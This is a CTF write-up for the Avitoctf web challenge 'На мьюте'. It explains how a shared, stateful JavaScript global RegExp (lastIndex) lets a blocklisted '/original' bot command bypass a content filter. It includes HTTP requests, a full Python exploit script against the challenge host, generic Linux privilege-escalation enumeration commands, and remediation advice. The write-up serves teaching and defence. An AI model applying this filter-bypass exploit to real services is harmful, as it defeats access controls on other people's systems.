На мьюте
На мьюте
Platform: Avitoctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-23 | Status: Solved Techniques: global_regex_state_manipulation, content_filter_bypass, differential_testing
Summary
Task: A music service hides original lyrics behind a blocklisted bot command and reuses a per-session JavaScript global RegExp. Solution: Prime RegExp.lastIndex through the censor command, then request the original lyrics in the same session.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
avitoctf| ID:20260723_avitoctf_na_myute - Tags: javascript, regex, broken_access_control, content_filter
- Indicators: RegExp constructed with the g flag, shared per-session RegExp object, re.test called without resetting lastIndex, blocked bot command parsed after content filtering
- Source:
20260723_avitoctf_na_myute.md
Foothold
Vulnerability / Misconfiguration
- global_regex_state_manipulation
- content_filter_bypass
- differential_testing
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- global_regex_state_manipulation
- content_filter_bypass
- differential_testing
- Tags: javascript, regex, broken_access_control, content_filter
Original Writeup
<details><summary>Click to expand original content</summary>На мьюте — avitoctf
Description
OnMute is a music platform whose strict honey-badger fanbase censors any hints of weakness, fear, tenderness, or politeness. One track supposedly contains a hidden insider reference that was also removed. Defeat censorship and recover the complete lyrics.
The service exposes censored songs and bot commands submitted through the track-comment API. The goal is to bypass moderation of the command that returns an uncensored track and recover the complete lyrics.
Analysis
The protected command
server/src/moderation/blocklist.js includes the literal command /original among the blocked expressions. Meanwhile, server/src/bot/commands.js parses /original <track_id> and passes the supplied ID to getOriginalText(). That model method reads the original field directly from Redis.
The comment route performs these operations in an unsafe order:
- Run
checkContent(text, sessionId). - Reject the comment if a violation was found.
- Otherwise parse the text as a bot command.
- Execute the parsed command.
Therefore, making the content scan miss a command at index zero is enough to reach the original-text handler. No injection is required.
Why the regular expression is stateful
server/src/moderation/filter.js creates one RegExp object per session and gives it the flags gi:
javascript read-only • copy allowedre: new RegExp(pattern, 'gi')
The g flag makes JavaScript regular expressions stateful. After a successful exec() or test(), the object stores the position after the match in its mutable lastIndex property. The next operation on that same object starts scanning there instead of at offset zero. A failed global match resets lastIndex to zero, but that happens only after the attempted scan has already skipped the preceding characters.
Both moderation functions reuse this same per-session object:
javascript read-only • copy allowedwhile ((m = re.exec(text)) !== null) { violations.push({ match: m[0], index: m.index }); } return re.test(fragment);
checkContent() normally reaches a final failed exec() and returns the expression to offset zero. The flaw appears when /censor subsequently calls matchesPolicy() on a matching fragment: test() succeeds and returns immediately without resetting lastIndex.
Choosing the priming fragment
The /censor <start> <end> command slices at most ten JavaScript characters from the currently displayed lyrics. Track 1 still contains the blocklisted word массаж at offsets [617, 623). Calling /censor 617 623 therefore tests exactly that six-character fragment.
The successful test() leaves the session's shared expression at lastIndex = 6. If /original 4 is sent immediately in the same cookie session, checkContent() begins at character 6. The forbidden token occupies characters 0 through 8, so it is never considered as a complete match. The scan fails, resets the state for later use, and returns an empty violation list. Command parsing then executes /original normally.
Solution
1. Establish a control
In a fresh session, send:
http read-only • copy allowedPOST /api/tracks/4/comment Content-Type: application/json {"text":"/original 4"}
The response has ok: false, gives the reason Заблокировано фильтром контента, and reports /original at index 0. This proves that the command is blocked under ordinary state.
2. Prime lastIndex
Use a separate normal server-issued session and submit:
http read-only • copy allowedPOST /api/tracks/1/comment Content-Type: application/json {"text":"/censor 617 623"}
The bot confirms that the selected fragment violates policy. Internally, the successful global test() advances the shared expression to offset 6.
3. Reuse the same session immediately
Without replacing the cookie jar, submit:
http read-only • copy allowedPOST /api/tracks/4/comment Content-Type: application/json {"text":"/original 4"}
This time the response has ok: true, identifies the executed command as /original, and returns the complete original lyrics. The final line contains the flag.
Reproducible exploit
The script dynamically finds the priming offsets, demonstrates the fresh-session control, and performs the two-request exploit with one cookie jar:
python read-only • copy allowed#!/usr/bin/env python3 import http.cookiejar import json import urllib.request ORIGIN = "https://onmute-6f2vcrcn.avitoctf.ru" def new_session(): jar = http.cookiejar.CookieJar() opener = urllib.request.build_opener( urllib.request.HTTPCookieProcessor(jar) ) return opener def request(opener, path, payload=None): body = None headers = {} method = "GET" if payload is not None: body = json.dumps(payload, ensure_ascii=False).encode() headers["Content-Type"] = "application/json" method = "POST" req = urllib.request.Request( ORIGIN + path, data=body, headers=headers, method=method ) with opener.open(req, timeout=15) as response: return json.load(response) # Differential control: ordinary state rejects the protected command. control = request( new_session(), "/api/tracks/4/comment", {"text": "/original 4"} ) assert control["ok"] is False assert control["violations"][0]["index"] == 0 # Exploit: both POST requests use this same server-issued cookie session. session = new_session() track = request(session, "/api/tracks/1") lyrics = track["track"]["text"] start = lyrics.index("массаж") end = start + len("массаж") prime = request( session, "/api/tracks/1/comment", {"text": f"/censor {start} {end}"}, ) assert prime["ok"] is True result = request( session, "/api/tracks/4/comment", {"text": "/original 4"} ) assert result["ok"] is True assert result["command"] == "/original" print(result["message"])
Cookie forgery is unnecessary because the application itself creates the session and binds the vulnerable regular-expression object to that session ID. SQL injection, command injection, and parser tricks are also irrelevant: the intended bot commands already provide both the state-changing primitive and the sensitive sink.
Remediation
- Do not reuse a regular expression with the
goryflag across independent validation calls. - Instantiate a fresh expression for every scan, or explicitly set
re.lastIndex = 0before and after everyexec()andtest()operation. - Prefer a non-global expression for boolean policy checks.
- Treat
/originalas a privileged operation and enforce authorization directly in its command handler. A content filter is not an authorization boundary.
signed by XESXOR